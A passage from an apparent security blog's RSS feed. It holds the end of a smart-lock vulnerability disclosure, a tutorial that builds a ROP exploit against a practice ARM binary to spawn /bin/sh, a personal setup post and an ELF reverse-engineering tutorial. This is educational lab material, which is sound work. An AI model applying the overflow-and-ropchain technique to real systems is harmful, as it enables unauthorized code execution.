1252their lock. They can’t even “rebind” to get it back, since the current owner
1253(the attacker) needs to authorize that. </p>
1254
1255<p>To add to that, roughly 15,000 user accounts’ info are exposed via IDOR.
1256Ilja, a cool dude I met on Telegram, noticed locks named “carlock”,
1257“garage”, “MainDoor”, etc.<sup class="footnote-ref" id="fnref-2"><a href="#fn-2">2</a></sup> This is terrifying.</p>
1258
1259<p><em>shudders</em></p>
1260
1261<h3 id="proof-of-concept">Proof of Concept</h3>
1262
1263<p><a href="https://twitter.com/icyphox/status/1158396372778807296">PoC Video</a></p>
1264
1265<p><a href="https://github.com/icyphox/pwnfb50">Exploit code</a></p>
1266
1267<h3 id="disclosure-timeline">Disclosure timeline</h3>
1268
1269<ul>
1270<li><strong>26th June, 2019</strong>: Issue discovered at SecureLayer7, Pune</li>
1271<li><strong>27th June, 2019</strong>: Vendor notified about the issue</li>
1272<li><strong>2nd July, 2019</strong>: CVE-2019-13143 reserved</li>
1273<li>No response from vendor</li>
1274<li><strong>2nd August 2019</strong>: Public disclosure</li>
1275</ul>
1276
1277<h3 id="lessons-learnt">Lessons learnt</h3>
1278
1279<p><strong>DO NOT</strong>. Ever. Buy. A smart lock. You’re better off with the “dumb” ones
1280with keys. With the IoT plague spreading, it brings in a large attack surface
1281to things that were otherwise “unhackable” (try hacking a “dumb” toaster).</p>
1282
1283<p>The IoT security scene is rife with bugs from over 10 years ago, like
1284executable stack segments<sup class="footnote-ref" id="fnref-3"><a href="#fn-3">3</a></sup>, hardcoded keys, and poor development
1285practices in general.</p>
1286
1287<p>Our existing threat models and scenarios have to be updated to factor
1288in these new exploitation possibilities. This also broadens the playing
1289field for cyber warfare and mass surveillance campaigns. </p>
1290
1291<h3 id="researcher-info">Researcher info</h3>
1292
1293<p>This research was done at <a href="https://securelayer7.net">SecureLayer7</a>, Pune, IN by:</p>
1294
1295<ul>
1296<li>Anirudh Oppiliappan (me)</li>
1297<li>S. Raghav Pillai (<a href="https://twitter.com/_vologue">@_vologue</a>)</li>
1298<li>Shubham Chougule (<a href="https://twitter.com/shubhamtc">@shubhamtc</a>)</li>
1299</ul>
1300
1301<div class="footnotes">
1302<hr />
1303<ol>
1304<li id="fn-1">
1305<p><a href="https://www.pentestpartners.com/security-blog/pwning-the-nokelock-api/">This</a> article discusses a similar smart lock, but they broke the encryption. <a href="#fnref-1" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">↩</a></p>
1306</li>
1307
1308<li id="fn-2">
1309<p>Thanks to Ilja Shaposhnikov (@drakylar). <a href="#fnref-2" class="footnoteBackLink" title="Jump back to footnote 2 in the text.">↩</a></p>
1310</li>
1311
1312<li id="fn-3">
1313<p><a href="https://gsec.hitb.org/materials/sg2015/whitepapers/Lyon%20Yang%20-%20Advanced%20SOHO%20Router%20Exploitation.pdf">PDF</a> <a href="#fnref-3" class="footnoteBackLink" title="Jump back to footnote 3 in the text.">↩</a></p>
1314</li>
1315</ol>
1316</div>
1317]]></description><link>https://icyphox.sh/blog/fb50</link><pubDate>Mon, 05 Aug 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/fb50</guid></item><item><title>Return Oriented Programming on ARM (32-bit)</title><description><![CDATA[<p>Before we start <em>anything</em>, you’re expected to know the basics of ARM
1318assembly to follow along. I highly recommend
1319<a href="https://twitter.com/fox0x01">Azeria’s</a> series on <a href="https://azeria-labs.com/writing-arm-assembly-part-1/">ARM Assembly
1320Basics</a>. Once you’re
1321comfortable with it, proceed with the next bit — environment setup.</p>
1322
1323<h3 id="setup">Setup</h3>
1324
1325<p>Since we’re working with the ARM architecture, there are two options to go
1326forth with: </p>
1327
1328<ol>
1329<li>Emulate — head over to <a href="https://www.qemu.org/download/">qemu.org/download</a> and install QEMU.
1330And then download and extract the ARMv6 Debian Stretch image from one of the links <a href="https://blahcat.github.io/qemu/">here</a>.
1331The scripts found inside should be self-explanatory.</li>
1332<li>Use actual ARM hardware, like an RPi.</li>
1333</ol>
1334
1335<p>For debugging and disassembling, we’ll be using plain old <code>gdb</code>, but you
1336may use <code>radare2</code>, IDA or anything else, really. All of which can be
1337trivially installed.</p>
1338
1339<p>And for the sake of simplicity, disable ASLR:</p>
1340
1341<div class="codehilite"><pre><span></span><code>$ <span class="nb">echo</span> <span class="m">0</span> > /proc/sys/kernel/randomize_va_space
1342</code></pre></div>
1343
1344<p>Finally, the binary we’ll be using in this exercise is <a href="https://twitter.com/bellis1000">Billy Ellis’</a>
1345<a href="/static/files/roplevel2.c">roplevel2</a>. </p>
1346
1347<p>Compile it:</p>
1348
1349<div class="codehilite"><pre><span></span><code>$ gcc roplevel2.c -o rop2
1350</code></pre></div>
1351
1352<p>With that out of the way, here’s a quick run down of what ROP actually is.</p>
1353
1354<h3 id="a-primer-on-rop">A primer on ROP</h3>
1355
1356<p>ROP or Return Oriented Programming is a modern exploitation technique that’s
1357used to bypass protections like the <strong>NX bit</strong> (no-execute bit) and <strong>code sigining</strong>.
1358In essence, no code in the binary is actually modified and the entire exploit
1359is crafted out of pre-existing artifacts within the binary, known as <strong>gadgets</strong>.</p>
1360
1361<p>A gadget is essentially a small sequence of code (instructions), ending with
1362a <code>ret</code>, or a return instruction. In our case, since we’re dealing with ARM
1363code, there is no <code>ret</code> instruction but rather a <code>pop {pc}</code> or a <code>bx lr</code>.
1364These gadgets are <em>chained</em> together by jumping (returning) from one onto the other
1365to form what’s called as a <strong>ropchain</strong>. At the end of a ropchain,
1366there’s generally a call to <code>system()</code>, to acheive code execution.</p>
1367
1368<p>In practice, the process of executing a ropchain is something like this:</p>
1369
1370<ul>
1371<li>confirm the existence of a stack-based buffer overflow</li>
1372<li>identify the offset at which the instruction pointer gets overwritten</li>
1373<li>locate the addresses of the gadgets you wish to use</li>
1374<li>craft your input keeping in mind the stack’s layout, and chain the addresses
1375of your gadgets</li>
1376</ul>
1377
1378<p><a href="https://twitter.com/LiveOverflow">LiveOverflow</a> has a <a href="https://www.youtube.com/watch?v=zaQVNM3or7k&list=PLhixgUqwRTjxglIswKp9mpkfPNfHkzyeN&index=46&t=0s">beautiful video</a> where he explains ROP using “weird machines”.
1379Check it out, it might be just what you needed for that “aha!” moment :)</p>
1380
1381<p>Still don’t get it? Don’t fret, we’ll look at <em>actual</em> exploit code in a bit and hopefully
1382that should put things into perspective.</p>
1383
1384<h3 id="exploring-our-binary">Exploring our binary</h3>
1385
1386<p>Start by running it, and entering any arbitrary string. On entering a fairly
1387large string, say, “A” × 20, we
1388see a segmentation fault occur.</p>
1389
1390<p><img src="/static/img/string_segfault.png" alt="string and segfault" /></p>
1391
1392<p>Now, open it up in <code>gdb</code> and look at the functions inside it.</p>
1393
1394<p><img src="/static/img/gdb_functions.png" alt="gdb functions" /></p>
1395
1396<p>There are three functions that are of importance here, <code>main</code>, <code>winner</code> and
1397<code>gadget</code>. Disassembling the <code>main</code> function:</p>
1398
1399<p><img src="/static/img/gdb_main_disas.png" alt="gdb main disassembly" /></p>
1400
1401<p>We see a buffer of 16 bytes being created (<code>sub sp, sp, #16</code>), and some calls
1402to <code>puts()</code>/<code>printf()</code> and <code>scanf()</code>. Looks like <code>winner</code> and <code>gadget</code> are
1403never actually called.</p>
1404
1405<p>Disassembling the <code>gadget</code> function:</p>
1406
1407<p><img src="/static/img/gdb_gadget_disas.png" alt="gdb gadget disassembly" /></p>
1408
1409<p>This is fairly simple, the stack is being initialized by <code>push</code>ing <code>{r11}</code>,
1410which is also the frame pointer (<code>fp</code>). What’s interesting is the <code>pop {r0, pc}</code>
1411instruction in the middle. This is a <strong>gadget</strong>.</p>
1412
1413<p>We can use this to control what goes into <code>r0</code> and <code>pc</code>. Unlike in x86 where
1414arguments to functions are passed on the stack, in ARM the registers <code>r0</code> to <code>r3</code>
1415are used for this. So this gadget effectively allows us to pass arguments to
1416functions using <code>r0</code>, and subsequently jumping to them by passing its address
1417in <code>pc</code>. Neat.</p>
1418
1419<p>Moving on to the disassembly of the <code>winner</code> function:</p>
1420
1421<p><img src="/static/img/gdb_disas_winner.png" alt="gdb winner disassembly" /></p>
1422
1423<p>Here, we see a calls to <code>puts()</code>, <code>system()</code> and finally, <code>exit()</code>.
1424So our end goal here is to, quite obviously, execute code via the <code>system()</code>
1425function.</p>
1426
1427<p>Now that we have an overview of what’s in the binary, let’s formulate a method
1428of exploitation by messing around with inputs.</p>
1429
1430<h3 id="messing-around-with-inputs">Messing around with inputs :^)</h3>
1431
1432<p>Back to <code>gdb</code>, hit <code>r</code> to run and pass in a patterned input, like in the
1433screenshot.</p>
1434
1435<p><img src="/static/img/gdb_info_reg_segfault.png" alt="gdb info reg post segfault" /></p>
1436
1437<p>We hit a segfault because of invalid memory at address <code>0x46464646</code>. Notice
1438the <code>pc</code> has been overwritten with our input.
1439So we smashed the stack alright, but more importantly, it’s at the letter ‘F’.</p>
1440
1441<p>Since we know the offset at which the <code>pc</code> gets overwritten, we can now
1442control program execution flow. Let’s try jumping to the <code>winner</code> function.</p>
1443
1444<p>Disassemble <code>winner</code> again using <code>disas winner</code> and note down the offset
1445of the second instruction — <code>add r11, sp, #4</code>.
1446For this, we’ll use Python to print our input string replacing <code>FFFF</code> with
1447the address of <code>winner</code>. Note the endianness.</p>
1448
1449<div class="codehilite"><pre><span></span><code>$ python -c <span class="s1">'print("AAAABBBBCCCCDDDDEEEE\x28\x05\x01\x00")'</span> <span class="p">|</span> ./rop2
1450</code></pre></div>
1451
1452<p><img src="/static/img/python_winner_jump.png" alt="jump to winner" /></p>
1453
1454<p>The reason we don’t jump to the first instruction is because we want to control the stack
1455ourselves. If we allow <code>push {rll, lr}</code> (first instruction) to occur, the program will <code>pop</code>
1456those out after <code>winner</code> is done executing and we will no longer control
1457where it jumps to.</p>
1458
1459<p>So that didn’t do much, just prints out a string “Nothing much here…”.
1460But it <em>does</em> however, contain <code>system()</code>. Which somehow needs to be populated with an argument
1461to do what we want (run a command, execute a shell, etc.).</p>
1462
1463<p>To do that, we’ll follow a multi-step process: </p>
1464
1465<ol>
1466<li>Jump to the address of <code>gadget</code>, again the 2nd instruction. This will <code>pop</code> <code>r0</code> and <code>pc</code>.</li>
1467<li>Push our command to be executed, say “<code>/bin/sh</code>” onto the stack. This will go into
1468<code>r0</code>.</li>
1469<li>Then, push the address of <code>system()</code>. And this will go into <code>pc</code>.</li>
1470</ol>
1471
1472<p>The pseudo-code is something like this:</p>
1473
1474<pre><code>string = AAAABBBBCCCCDDDDEEEE
1475gadget = # addr of gadget
1476binsh = # addr of /bin/sh
1477system = # addr of system()
1478
1479print(string + gadget + binsh + system)
1480</code></pre>
1481
1482<p>Clean and mean.</p>
1483
1484<h3 id="the-exploit">The exploit</h3>
1485
1486<p>To write the exploit, we’ll use Python and the absolute godsend of a library — <code>struct</code>.
1487It allows us to pack the bytes of addresses to the endianness of our choice.
1488It probably does a lot more, but who cares.</p>
1489
1490<p>Let’s start by fetching the address of <code>/bin/sh</code>. In <code>gdb</code>, set a breakpoint
1491at <code>main</code>, hit <code>r</code> to run, and search the entire address space for the string “<code>/bin/sh</code>”:</p>
1492
1493<pre><code>(gdb) find &system, +9999999, "/bin/sh"
1494</code></pre>
1495
1496<p><img src="/static/img/gdb_find_binsh.png" alt="gdb finding /bin/sh" /></p>
1497
1498<p>One hit at <code>0xb6f85588</code>. The addresses of <code>gadget</code> and <code>system()</code> can be
1499found from the disassmblies from earlier. Here’s the final exploit code:</p>
1500
1501<div class="codehilite"><pre><span></span><code><span class="kn">import</span> <span class="nn">struct</span>
1502
1503<span class="n">binsh</span> <span class="o">=</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s2">"I"</span><span class="p">,</span> <span class="mh">0xb6f85588</span><span class="p">)</span>
1504<span class="n">string</span> <span class="o">=</span> <span class="s2">"AAAABBBBCCCCDDDDEEEE"</span>
1505<span class="n">gadget</span> <span class="o">=</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s2">"I"</span><span class="p">,</span> <span class="mh">0x00010550</span><span class="p">)</span>
1506<span class="n">system</span> <span class="o">=</span> <span class="n">struct</span><span class="o">.</span><span class="n">pack</span><span class="p">(</span><span class="s2">"I"</span><span class="p">,</span> <span class="mh">0x00010538</span><span class="p">)</span>
1507
1508<span class="k">print</span><span class="p">(</span><span class="n">string</span> <span class="o">+</span> <span class="n">gadget</span> <span class="o">+</span> <span class="n">binsh</span> <span class="o">+</span> <span class="n">system</span><span class="p">)</span>
1509</code></pre></div>
1510
1511<p>Honestly, not too far off from our pseudo-code :)</p>
1512
1513<p>Let’s see it in action:</p>
1514
1515<p><img src="/static/img/the_shell.png" alt="the shell!" /></p>
1516
1517<p>Notice that it doesn’t work the first time, and this is because <code>/bin/sh</code> terminates
1518when the pipe closes, since there’s no input coming in from STDIN.
1519To get around this, we use <code>cat(1)</code> which allows us to relay input through it
1520to the shell. Nifty trick.</p>
1521
1522<h3 id="conclusion">Conclusion</h3>
1523
1524<p>This was a fairly basic challenge, with everything laid out conveniently.
1525Actual ropchaining is a little more involved, with a lot more gadgets to be chained
1526to acheive code execution.</p>
1527
1528<p>Hopefully, I’ll get around to writing about heap exploitation on ARM too. That’s all for now.</p>
1529]]></description><link>https://icyphox.sh/blog/rop-on-arm</link><pubDate>Thu, 06 Jun 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/rop-on-arm</guid></item><item><title>My Setup</title><description><![CDATA[<h3 id="hardware">Hardware</h3>
1530
1531<p>The only computer I have with me is my <a href="https://store.hp.com/us/en/mdp/laptops/envy-13">HP Envy 13 (2018)</a> (my model looks a little different). It’s a 13” ultrabook, with an i5 8250u,
15328 gigs of RAM and a 256 GB NVMe SSD. It’s a very comfy machine that does everything I need it to.</p>
1533
1534<p>For my phone, I use a <a href="https://www.oneplus.in/6t">OnePlus 6T</a>, running stock <a href="https://www.oneplus.in/oxygenos">OxygenOS</a>. As of this writing, its bootloader hasn’t been unlocked and nor has the device been rooted.
1535I’m also a proud owner of a <a href="https://en.wikipedia.org/wiki/Nexus_5">Nexus 5</a>, which I really wish Google rebooted. It’s surprisingly still usable and runs Android Pie, although the SIM slot is ruined and the battery backup is abysmal.</p>
1536
1537<p>My watch is a <a href="https://www.samsung.com/in/wearables/gear-s3-frontier-r760/">Samsung Gear S3 Frontier</a>. Tizen is definitely better than Android Wear.</p>
1538
1539<p>My keyboard, although not with me in college, is a very old <a href="https://www.amazon.com/Dell-Keyboard-Model-SK-8110-Interface/dp/B00366HMMO">Dell SK-8110</a>.
1540For the little bit of gaming that I do, I use a <a href="https://www.hpshopping.in/hp-m150-gaming-mouse-3dr63pa.html">HP m150</a> gaming mouse. It’s the perfect size (and color).</p>
1541
1542<p>For my music, I use the <a href="https://www.boseindia.com/en_in/products/headphones/over_ear_headphones/soundlink-around-ear-wireless-headphones-ii.html">Bose SoundLink II</a>.
1543Great pair of headphones, although the ear cups need replacing.</p>
1544
1545<h3 id="and-the-software">And the software</h3>
1546
1547<p><del>My distro of choice for the past ~1 year has been <a href="https://elementary.io">elementary OS</a>. I used to be an Arch Linux elitist, complete with an esoteric
1548window manager, all riced. I now use whatever JustWorks™.</del></p>
1549
1550<p><strong>Update</strong>: As of June 2019, I’ve switched over to a vanilla Debian 9 Stretch install,
1551running <a href="https://i3wm.org">i3</a> as my window manager. If you want, you can dig through my configs at my <a href="https://github.com/icyphox/dotfiles">dotfiles</a> repo. </p>
1552
1553<p>Here’s a (riced) screenshot of my desktop. </p>
1554
1555<p><img src="https://i.redd.it/jk574gworp331.png" alt="scrot" /></p>
1556
1557<p>Most of my work is done in either the browser, or the terminal.
1558My shell is pure <a href="http://www.zsh.org">zsh</a>, as in no plugin frameworks. It’s customized using built-in zsh functions. Yes, you don’t actually need
1559a framework. It’s useless bloat. The prompt itself is generated using a framework I built in <a href="https://nim-lang.org">Nim</a> — <a href="https://github.com/icyphox/nicy">nicy</a>.
1560My primary text editor is <a href="https://neovim.org">nvim</a>. Again, all configs in my dotfiles repo linked above.
1561I manage all my passwords using <a href="https://passwordstore.org">pass(1)</a>, and I use <a href="https://github.com/carnager/rofi-pass">rofi-pass</a> to access them via <code>rofi</code>.</p>
1562
1563<p>Most of my security tooling is typically run via a Kali Linux docker container. This is convenient for many reasons, keeps your global namespace
1564clean and a single command to drop into a Kali shell.</p>
1565
1566<p>I use a DigitalOcean droplet (BLR1) as a public filehost, found at <a href="https://x.icyphox.sh">x.icyphox.sh</a>. The UI is the wonderful <a href="https://github.com/zeit/serve">serve</a>, by <a href="https://zeit.co">ZEIT</a>.
1567The same box also serves as my IRC bouncer and OpenVPN (TCP), which I tunnel via SSH running on 443. Campus firewall woes. </p>
1568
1569<p>I plan on converting my desktop back at home into a homeserver setup. Soon™.</p>
1570]]></description><link>https://icyphox.sh/blog/my-setup</link><pubDate>Mon, 13 May 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/my-setup</guid></item><item><title>Python for Reverse Engineering #1: ELF Binaries</title><description><![CDATA[<p>While solving complex reversing challenges, we often use established tools like radare2 or IDA for disassembling and debugging. But there are times when you need to dig in a little deeper and understand how things work under the hood.</p>
1571
1572<p>Rolling your own disassembly scripts can be immensely helpful when it comes to automating certain processes, and eventually build your own homebrew reversing toolchain of sorts. At least, that’s what I’m attempting anyway.</p>
1573
1574<h3 id="setup">Setup</h3>
1575
1576<p>As the title suggests, you’re going to need a Python 3 interpreter before
1577anything else. Once you’ve confirmed beyond reasonable doubt that you do,
1578in fact, have a Python 3 interpreter installed on your system, run</p>
1579
1580<div class="codehilite"><pre><span></span><code><span class="gp">$</span> pip install capstone pyelftools
1581</code></pre></div>
1582
1583<p>where <code>capstone</code> is the disassembly engine we’ll be scripting with and <code>pyelftools</code> to help parse ELF files.</p>
1584
1585<p>With that out of the way, let’s start with an example of a basic reversing
1586challenge.</p>
1587
1588<div class="codehilite"><pre><span></span><code><span class="cm">/* chall.c */</span>
1589
1590<span class="cp">#include</span> <span class="cpf"><stdio.h></span><span class="cp"></span>
1591<span class="cp">#include</span> <span class="cpf"><stdlib.h></span><span class="cp"></span>
1592<span class="cp">#include</span> <span class="cpf"><string.h></span><span class="cp"></span>
1593
1594<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span>
1595 <span class="kt">char</span> <span class="o">*</span><span class="n">pw</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="mi">9</span><span class="p">);</span>
1596 <span class="n">pw</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="sc">'a'</span><span class="p">;</span>
1597 <span class="k">for</span><span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">1</span><span class="p">;</span> <span class="n">i</span> <span class="o"><=</span> <span class="mi">8</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">){</span>
1598 <span class="n">pw</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="n">pw</span><span class="p">[</span><span class="n">i</span> <span class="o">-</span> <span class="mi">1</span><span class="p">]</span> <span class="o">+</span> <span class="mi">1</span><span class="p">;</span>
1599 <span class="p">}</span>
1600 <span class="n">pw</span><span class="p">[</span><span class="mi">9</span><span class="p">]</span> <span class="o">=</span> <span class="sc">'\0'</span><span class="p">;</span>
1601 <span class="kt">char</span> <span class="o">*</span><span class="n">in</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="mi">10</span><span class="p">);</span>
1602 <span class="n">printf</span><span class="p">(</span><span class="s">"password: "</span><span class="p">);</span>
1603 <span class="n">fgets</span><span class="p">(</span><span class="n">in</span><span class="p">,</span> <span class="mi">10</span><span class="p">,</span> <span class="n">stdin</span><span class="p">);</span> <span class="c1">// 'abcdefghi'</span>
1604 <span class="k">if</span><span class="p">(</span><span class="n">strcmp</span><span class="p">(</span><span class="n">in</span><span class="p">,</span> <span class="n">pw</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
1605 <span class="n">printf</span><span class="p">(</span><span class="s">"haha yes!</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
1606 <span class="p">}</span>
1607 <span class="k">else</span> <span class="p">{</span>
1608 <span class="n">printf</span><span class="p">(</span><span class="s">"nah dude</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
1609 <span class="p">}</span>
1610<span class="p">}</span>
1611</code></pre></div>
1612
1613<p>Compile it with GCC/Clang:</p>
1614
1615<div class="codehilite"><pre><span></span><code><span class="gp">$</span> gcc chall.c -o chall.elf
1616</code></pre></div>
1617
1618<h3 id="scripting">Scripting</h3>
1619
1620<p>For starters, let’s look at the different sections present in the binary.</p>
1621
1622<div class="codehilite"><pre><span></span><code><span class="c1"># sections.py</span>
1623
1624<span class="kn">from</span> <span class="nn">elftools.elf.elffile</span> <span class="kn">import</span> <span class="n">ELFFile</span>
1625
1626<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s1">'./chall.elf'</span><span class="p">,</span> <span class="s1">'rb'</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
1627 <span class="n">e</span> <span class="o">=</span> <span class="n">ELFFile</span><span class="p">(</span><span class="n">f</span><span class="p">)</span>
1628 <span class="k">for</span> <span class="n">section</span> <span class="ow">in</span> <span class="n">e</span><span class="o">.</span><span class="n">iter_sections</span><span class="p">():</span>
1629 <span class="k">print</span><span class="p">(</span><span class="nb">hex</span><span class="p">(</span><span class="n">section</span><span class="p">[</span><span class="s1">'sh_addr'</span><span class="p">]),</span> <span class="n">section</span><span class="o">.</span><span class="n">name</span><span class="p">)</span>
1630</code></pre></div>
1631
1632<p>This script iterates through all the sections and also shows us where it’s loaded. This will be pretty useful later. Running it gives us</p>
1633
1634<div class="codehilite"><pre><span></span><code><span class="go">› python sections.py</span>
1635<span class="go">0x238 .interp</span>
1636<span class="go">0x254 .note.ABI-tag</span>
1637<span class="go">0x274 .note.gnu.build-id</span>
1638<span class="go">0x298 .gnu.hash</span>
1639<span class="go">0x2c0 .dynsym</span>
1640<span class="go">0x3e0 .dynstr</span>
1641<span class="go">0x484 .gnu.version</span>
1642<span class="go">0x4a0 .gnu.version_r</span>
1643<span class="go">0x4c0 .rela.dyn</span>
1644<span class="go">0x598 .rela.plt</span>
1645<span class="go">0x610 .init</span>
1646<span class="go">0x630 .plt</span>
1647<span class="go">0x690 .plt.got</span>
1648<span class="go">0x6a0 .text</span>
1649<span class="go">0x8f4 .fini</span>
1650<span class="go">0x900 .rodata</span>
1651<span class="go">0x924 .eh_frame_hdr</span>
1652<span class="go">0x960 .eh_frame</span>
1653<span class="go">0x200d98 .init_array</span>
1654<span class="go">0x200da0 .fini_array</span>
1655<span class="go">0x200da8 .dynamic</span>
1656<span class="go">0x200f98 .got</span>
1657<span class="go">0x201000 .data</span>
1658<span class="go">0x201010 .bss</span>
1659<span class="go">0x0 .comment</span>
1660<span class="go">0x0 .symtab</span>
1661<span class="go">0x0 .strtab</span>
1662<span class="go">0x0 .shstrtab</span>
1663</code></pre></div>
1664
1665<p>Most of these aren’t relevant to us, but a few sections here are to be noted. The <code>.text</code> section contains the instructions (opcodes) that we’re after. The <code>.data</code> section should have strings and constants initialized at compile time. Finally, the <code>.plt</code> which is the Procedure Linkage Table and the <code>.got</code>, the Global Offset Table. If you’re unsure about what these mean, read up on the ELF format and its internals.</p>
1666
1667<p>Since we know that the <code>.text</code> section has the opcodes, let’s disassemble the binary starting at that address.</p>
1668
1669<div class="codehilite"><pre><span></span><code><span class="c1"># disas1.py</span>
1670
1671<span class="kn">from</span> <span class="nn">elftools.elf.elffile</span> <span class="kn">import</span> <span class="n">ELFFile</span>
1672<span class="kn">from</span> <span class="nn">capstone</span> <span class="kn">import</span> <span class="o">*</span>
1673
1674<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s1">'./bin.elf'</span><span class="p">,</span> <span class="s1">'rb'</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
1675 <span class="n">elf</span> <span class="o">=</span> <span class="n">ELFFile</span><span class="p">(</span><span class="n">f</span><span class="p">)</span>
1676 <span class="n">code</span> <span class="o">=</span> <span class="n">elf</span><span class="o">.</span><span class="n">get_section_by_name</span><span class="p">(</span><span class="s1">'.text'</span><span class="p">)</span>
1677 <span class="n">ops</span> <span class="o">=</span> <span class="n">code</span><span class="o">.</span><span class="n">data</span><span class="p">()</span>
1678 <span class="n">addr</span> <span class="o">=</span> <span class="n">code</span><span class="p">[</span><span class="s1">'sh_addr'</span><span class="p">]</span>
1679 <span class="n">md</span> <span class="o">=</span> <span class="n">Cs</span><span class="p">(</span><span class="n">CS_ARCH_X86</span><span class="p">,</span> <span class="n">CS_MODE_64</span><span class="p">)</span>
1680 <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">md</span><span class="o">.</span><span class="n">disasm</span><span class="p">(</span><span class="n">ops</span><span class="p">,</span> <span class="n">addr</span><span class="p">):</span>
1681 <span class="k">print</span><span class="p">(</span><span class="n">f</span><span class="s1">'0x{i.address:x}:</span><span class="se">\t</span><span class="s1">{i.mnemonic}</span><span class="se">\t</span><span class="s1">{i.op_str}'</span><span class="p">)</span>
1682</code></pre></div>
1683
1684<p>The code is fairly straightforward (I think). We should be seeing this, on running</p>
1685
1686<div class="codehilite"><pre><span></span><code><span class="go">› python disas1.py | less </span>
1687<span class="go">0x6a0: xor ebp, ebp</span>
1688<span class="go">0x6a2: mov r9, rdx</span>
1689<span class="go">0x6a5: pop rsi</span>
1690<span class="go">0x6a6: mov rdx, rsp</span>
1691<span class="go">0x6a9: and rsp, 0xfffffffffffffff0</span>
1692<span class="go">0x6ad: push rax</span>
1693<span class="go">0x6ae: push rsp</span>
1694<span class="go">0x6af: lea r8, [rip + 0x23a]</span>
1695<span class="go">0x6b6: lea rcx, [rip + 0x1c3]</span>
1696<span class="go">0x6bd: lea rdi, [rip + 0xe6]</span>
1697<span class="go">**0x6c4: call qword ptr [rip + 0x200916]**</span>
1698<span class="go">0x6ca: hlt</span>
1699<span class="go">... snip ...</span>
1700</code></pre></div>
1701
1702<p>The line in bold is fairly interesting to us. The address at <code>[rip + 0x200916]</code> is equivalent to <code>[0x6ca + 0x200916]</code>, which in turn evaluates to <code>0x200fe0</code>. The first <code>call</code> being made to a function at <code>0x200fe0</code>? What could this function be?</p>
1703
1704<p>For this, we will have to look at <strong>relocations</strong>. Quoting <a href="http://refspecs.linuxbase.org/elf/gabi4+/ch4.reloc.html">linuxbase.org</a></p>
1705
1706<blockquote>
1707 <p>Relocation is the process of connecting symbolic references with symbolic definitions. For example, when a program calls a function, the associated call instruction must transfer control to the proper destination address at execution. Relocatable files must have “relocation entries’’ which are necessary because they contain information that describes how to modify their section contents, thus allowing executable and shared object files to hold the right information for a process’s program image.</p>
1708</blockquote>
1709
1710<p>To try and find these relocation entries, we write a third script.</p>
1711
1712<div class="codehilite"><pre><span></span><code><span class="c1"># relocations.py</span>
1713
1714<span class="kn">import</span> <span class="nn">sys</span>
1715<span class="kn">from</span> <span class="nn">elftools.elf.elffile</span> <span class="kn">import</span> <span class="n">ELFFile</span>
1716<span class="kn">from</span> <span class="nn">elftools.elf.relocation</span> <span class="kn">import</span> <span class="n">RelocationSection</span>
1717
1718<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s1">'./chall.elf'</span><span class="p">,</span> <span class="s1">'rb'</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
1719 <span class="n">e</span> <span class="o">=</span> <span class="n">ELFFile</span><span class="p">(</span><span class="n">f</span><span class="p">)</span>
1720 <span class="k">for</span> <span class="n">section</span> <span class="ow">in</span> <span class="n">e</span><span class="o">.</span><span class="n">iter_sections</span><span class="p">():</span>
1721 <span class="k">if</span> <span class="nb">isinstance</span><span class="p">(</span><span class="n">section</span><span class="p">,</span> <span class="n">RelocationSection</span><span class="p">):</span>
1722 <span class="k">print</span><span class="p">(</span><span class="n">f</span><span class="s1">'{section.name}:'</span><span class="p">)</span>
1723 <span class="n">symbol_table</span> <span class="o">=</span> <span class="n">e</span><span class="o">.</span><span class="n">get_section</span><span class="p">(</span><span class="n">section</span><span class="p">[</span><span class="s1">'sh_link'</span><span class="p">])</span>
1724 <span class="k">for</span> <span class="n">relocation</span> <span class="ow">in</span> <span class="n">section</span><span class="o">.</span><span class="n">iter_relocations</span><span class="p">():</span>
1725 <span class="n">symbol</span> <span class="o">=</span> <span class="n">symbol_table</span><span class="o">.</span><span class="n">get_symbol</span><span class="p">(</span><span class="n">relocation</span><span class="p">[</span><span class="s1">'r_info_sym'</span><span class="p">])</span>
1726 <span class="n">addr</span> <span class="o">=</span> <span class="nb">hex</span><span class="p">(</span><span class="n">relocation</span><span class="p">[</span><span class="s1">'r_offset'</span><span class="p">])</span>
1727 <span class="k">print</span><span class="p">(</span><span class="n">f</span><span class="s1">'{symbol.name} {addr}'</span><span class="p">)</span>
1728</code></pre></div>
1729
1730<p>Let’s run through this code real quick. We first loop through the sections, and check if it’s of the type <code>RelocationSection</code>. We then iterate through the relocations from the symbol table for each section. Finally, running this gives us</p>
1731
1732<div class="codehilite"><pre><span></span><code><span class="go">› python relocations.py</span>
1733<span class="go">.rela.dyn:</span>
1734<span class="go"> 0x200d98</span>
1735<span class="go"> 0x200da0</span>
1736<span class="go"> 0x201008</span>
1737<span class="go">_ITM_deregisterTMCloneTable 0x200fd8</span>
1738<span class="go">**__libc_start_main 0x200fe0**</span>
1739<span class="go">__gmon_start__ 0x200fe8</span>
1740<span class="go">_ITM_registerTMCloneTable 0x200ff0</span>
1741<span class="go">__cxa_finalize 0x200ff8</span>
